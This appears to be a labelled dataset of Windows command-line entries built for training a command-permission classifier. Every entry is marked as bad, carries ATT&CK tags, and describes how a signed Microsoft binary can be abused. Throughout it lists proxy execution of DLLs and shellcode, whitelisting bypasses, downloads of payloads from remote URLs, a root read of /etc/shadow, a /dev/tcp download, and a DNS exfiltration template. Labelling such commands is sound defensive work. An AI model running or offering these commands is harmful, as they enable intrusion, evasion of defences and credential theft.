cowWhySo/permission-command-corpus huggingface dataset:
Command: Dxcap.exe -c {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: Dxcap.exe
Notes: Launch specified executable as a subprocess of dxcap.exe. Note that you should have write permissions in the current working directory for the command to succeed; alternatively, add '-file c:\path\to\writable\location.ext' as first argument.
Command: dxcap.exe -usage
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1127, Execute: EXE, Requires: Rename
Source rule: Dxcap.exe
Notes: Once executed, `dxcap.exe` will execute `xperf.exe` in the same folder. Thus, if `dxcap.exe` is copied to a folder and an arbitrary executable is renamed to `xperf.exe`, `dxcap.exe` will spawn it.
Command: Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: DLL
Source rule: Tracker.exe
Notes: Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.
Command: DefaultPack.EXE /C:"{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: CMD
Source rule: DefaultPack.EXE
Notes: Use DefaultPack.EXE to execute arbitrary binaries, with added argument support.
Command: teams.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: Node.JS
Source rule: Teams.exe
Notes: Generate JavaScript payload and package.json, and save to "%LOCALAPPDATA%\\Microsoft\\Teams\\current\\app\\" before executing.
Command: teams.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.015, Execute: CMD
Source rule: Teams.exe
Notes: Teams spawns cmd.exe as a child process of teams.exe and executes the ping command
Command: cdb.exe -cf {PATH:.wds} -o notepad.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: Shellcode
Source rule: Cdb.exe
Notes: Launch 64-bit shellcode from the specified .wds file using cdb.exe.
Command: cdb.exe -pd -pn {process_name} .shell {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: Cdb.exe
Notes: Attaching to any process and executing shell commands.
Command: cdb.exe -c {PATH:.txt} "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: Cdb.exe
Notes: Execute arbitrary commands and binaries using a debugging script (see Resources section for a sample file).
Command: xsd.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: xsd.exe
Notes: Downloads payload from remote server
Command: fsianycpu.exe {PATH:.fsscript}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 2004 (likely previous and newer versions as well)
ATT&CK tags: T1059, Execute: FSharp
Source rule: FsiAnyCpu.exe
Notes: Execute F# code via script file
Command: fsianycpu.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 2004 (likely previous and newer versions as well)
ATT&CK tags: T1059, Execute: FSharp
Source rule: FsiAnyCpu.exe
Notes: Execute F# code via interactive command line
Command: mpiexec.exe {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: Mpiexec.exe
Notes: Executes a command via MPI command-line tool.
Command: OpenConsole.exe {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: OpenConsole.exe
Notes: Execute specified process with OpenConsole.exe as parent process
Command: winfile.exe {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: winfile.exe
Notes: Execute an executable file with WinFile as a parent process.
Command: coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1055, Execute: DLL
Source rule: coregen.exe
Notes: Loads the target .DLL in arbitrary path specified with /L.
Command: coregen.exe dummy_assembly_name
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1055, Execute: DLL
Source rule: coregen.exe
Notes: Loads the coreclr.dll in the corgen.exe directory (e.g. C:\Program Files\Microsoft Silverlight\5.1.50918.0).
Command: vstest.console.exe {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1127, Execute: DLL
Source rule: vstest.console.exe
Notes: VSTest functionality may allow an adversary to executes their malware by wrapping it as a test method then build it to a .exe or .dll file to be later run by vstest.console.exe. This may both allow AWL bypass or defense bypass in general
Command: appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: AppCert.exe
Notes: Execute an executable file via the Windows App Certification Kit command-line tool.
Command: appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.msi} -setupcommandline /q -reportoutputpath {PATH_ABSOLUTE:.xml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218.007, Execute: MSI
Source rule: AppCert.exe
Notes: Install an MSI file via an msiexec instance spawned via appcert.exe as parent process.
Command: vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Vshadow.exe
Notes: Executes specified executable from vshadow.exe.
Command: mspub.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Mspub.exe
Notes: Downloads payload from remote server
Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows Server 2019, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Wsl.exe
Notes: Executes calc.exe from wsl.exe
Command: wsl.exe -u root -e cat /etc/shadow
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows Server 2019, Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: Wsl.exe
Notes: Cats /etc/shadow file as root
Command: wsl.exe --exec bash -c "{CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows Server 2019, Windows 11
ATT&CK tags: T1202, Execute: CMD
Source rule: Wsl.exe
Notes: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows Server 2019, Windows 11
ATT&CK tags: T1105
Source rule: Wsl.exe
Notes: Downloads file from 192.168.1.10
Command: wsl.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows Server 2019, Windows 11
ATT&CK tags: T1218, Execute: CMD
Source rule: Wsl.exe
Notes: When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
Command: bginfo.exe {PATH:.bgi} /popup /nolicprompt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: WSH
Source rule: Bginfo.exe
Notes: Execute VBscript code that is referenced within the specified .bgi file.
Command: \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: WSH
Source rule: Bginfo.exe
Notes: Execute bginfo.exe from a WebDAV server.
Command: \\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: WSH, Execute: Remote
Source rule: Bginfo.exe
Notes: This style of execution may not longer work due to patch.
Command: squirrel.exe --download {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218
Source rule: Squirrel.exe
Notes: The above binary will go to url and look for RELEASES file and download the nuget package.
Command: squirrel.exe --update {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: Nuget, Execute: Remote
Source rule: Squirrel.exe
Notes: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Command: squirrel.exe --updateRollback={REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with Microsoft Teams installed
ATT&CK tags: T1218, Execute: Nuget, Execute: Remote
Source rule: Squirrel.exe
Notes: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Command: Powerpnt.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: Powerpnt.exe
Notes: Downloads payload from remote server
Command: VSDiagnostics.exe start 1 /launch:{PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1127, Execute: EXE
Source rule: VSDiagnostics.exe
Notes: Starts a collection session with sessionID 1 and calls kernelbase.CreateProcessW to launch specified executable.
Command: VSDiagnostics.exe start 2 /launch:{PATH:.exe} /launchArgs:"{CMD:args}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1127, Execute: CMD
Source rule: VSDiagnostics.exe
Notes: Starts a collection session with sessionID 2 and calls kernelbase.CreateProcessW to launch specified executable. Arguments specified in launchArgs are passed to CreateProcessW.
Command: AppVLP.exe {PATH_SMB:.bat}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 w/Office 2016
ATT&CK tags: T1218, Execute: CMD
Source rule: Appvlp.exe
Notes: Executes .bat file through AppVLP.exe
Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 w/Office 2016
ATT&CK tags: T1218, Execute: EXE
Source rule: Appvlp.exe
Notes: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
Command: SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: PowerShell
Source rule: SQLToolsPS.exe
Notes: Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging.
Command: ntsd.exe -g {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: CMD
Source rule: Ntsd.exe
Notes: Launches command through the debugging process; optionally add `-G` to exit the debugger automatically.
Command: vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 21H2 (likely previous and newer versions with modern versions of Visual Studio installed)
ATT&CK tags: T1218, Execute: DLL
Source rule: vsls-agent.exe
Notes: Load a library payload using the --agentExtensionPath parameter (32-bit)
Command: dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows
ATT&CK tags: T1105
Source rule: dtutil.exe
Notes: Copy file from source to destination
Command: Visio.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: Visio.exe
Notes: Downloads payload from remote server
Command: WinProj.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: WinProj.exe
Notes: Downloads payload from remote server
Command: procdump.exe -md {PATH:.dll} explorer.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 8.1 and higher, Windows Server 2012 and higher
ATT&CK tags: T1202, Execute: DLL
Source rule: Procdump.exe
Notes: Loads the specified DLL where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created.
Command: procdump.exe -md {PATH:.dll} foobar
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 8.1 and higher, Windows Server 2012 and higher
ATT&CK tags: T1202, Execute: DLL
Source rule: Procdump.exe
Notes: Loads the specified DLL where configured with DLL_PROCESS_ATTACH execution, process argument can be arbitrary.
Command: wfc.exe {PATH_ABSOLUTE:.xoml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 2004 (likely previous and newer versions as well)
ATT&CK tags: T1127, Execute: XOML
Source rule: Wfc.exe
Notes: Execute arbitrary C# code embedded in a XOML file.
Command: ProtocolHandler.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: ProtocolHandler.exe
Notes: Downloads payload from remote server
Command: fsi.exe {PATH:.fsscript}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 2004 (likely previous and newer versions as well)
ATT&CK tags: T1059, Execute: FSharp
Source rule: Fsi.exe
Notes: Execute F# code via script file
Command: fsi.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 2004 (likely previous and newer versions as well)
ATT&CK tags: T1059, Execute: FSharp
Source rule: Fsi.exe
Notes: Execute F# code via interactive command line
Command: Sqlps.exe -noprofile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218, Execute: PowerShell
Source rule: Sqlps.exe
Notes: Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging.
Command: dotnet.exe {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 7 and up with .NET installed
ATT&CK tags: T1218, Execute: DLL (.NET)
Source rule: Dotnet.exe
Notes: dotnet.exe will execute any DLL even if applocker is enabled.
Command: dotnet.exe fsi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 and up with .NET SDK installed
ATT&CK tags: T1059, Execute: FSharp
Source rule: Dotnet.exe
Notes: dotnet.exe will open a console which allows for the execution of arbitrary F# commands
Command: dotnet.exe msbuild {PATH:.csproj}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 and up with .NET Core installed
ATT&CK tags: T1218, Execute: CSharp
Source rule: Dotnet.exe
Notes: dotnet.exe with msbuild (SDK Version) will execute unsigned code
Command: ECMangen.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: ECMangen.exe
Notes: Downloads payload from remote server
Command: winword.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows
ATT&CK tags: T1105, Download: INetCache
Source rule: Winword.exe
Notes: Downloads payload from remote server
Command: te.exe {PATH:.wsc}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: WSH
Source rule: te.exe
Notes: Run COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file.
Command: te.exe {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: DLL, Input: Custom Format
Source rule: te.exe
Notes: Execute commands from a DLL file with Test Authoring and Execution Framework (TAEF) tests. See resources section for required structures.
Command: AppLauncher.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1127, Execute: EXE
Source rule: AppLauncher.exe
Notes: Launches an executable via User Experience Virtualization tool.
Command: TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Upload
Platform: Windows 10, Windows 11
ATT&CK tags: T1048
Source rule: TestWindowRemoteAgent.exe
Notes: Sends DNS query for open connection to any host, enabling exfiltration over DNS
Command: rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: PhotoViewer.dll
Notes: Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.
Command: rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: DLL
Source rule: Shell32.dll
Notes: Launch a DLL payload by calling the Control_RunDLL function.
Command: rundll32.exe shell32.dll,ShellExec_RunDLL {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Shell32.dll
Notes: Launch an executable by calling the ShellExec_RunDLL function.
Command: rundll32 SHELL32.DLL,ShellExec_RunDLL {PATH:.exe} {CMD:args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: CMD
Source rule: Shell32.dll
Notes: Launch command line by calling the ShellExec_RunDLL function.
Command: rundll32.exe shell32.dll,#44 {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: DLL
Source rule: Shell32.dll
Notes: Load a DLL/CPL by calling undocumented Control_RunDLLNoFallback function.
Command: rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: HTA
Source rule: Url.dll
Notes: Launch a HTML application payload by calling OpenURL.
Command: rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: URL
Source rule: Url.dll
Notes: Launch an executable payload via proxy through a .url (information) file by calling OpenURL.
Command: rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Url.dll
Notes: Launch an executable by calling OpenURL.
Command: rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Url.dll
Notes: Launch an executable by calling FileProtocolHandler.
Command: rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Url.dll
Notes: Launch an executable by calling FileProtocolHandler.
Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: HTA
Source rule: Url.dll
Notes: Launch a HTML application payload by calling FileProtocolHandler.
Command: rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: URL
Source rule: Shdocvw.dll
Notes: Launch an executable payload via proxy through a URL (information) file by calling OpenURL.
Command: rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Shimgvw.dll
Notes: Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'.
Command: rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Scrobj.dll
Notes: Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.
Command: rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Pcwutl.dll
Notes: Launch executable by calling the LaunchApplication function.
Command: rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: URL
Source rule: Ieframe.dll
Notes: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.
Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: INF
Source rule: Syssetup.dll
Notes: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).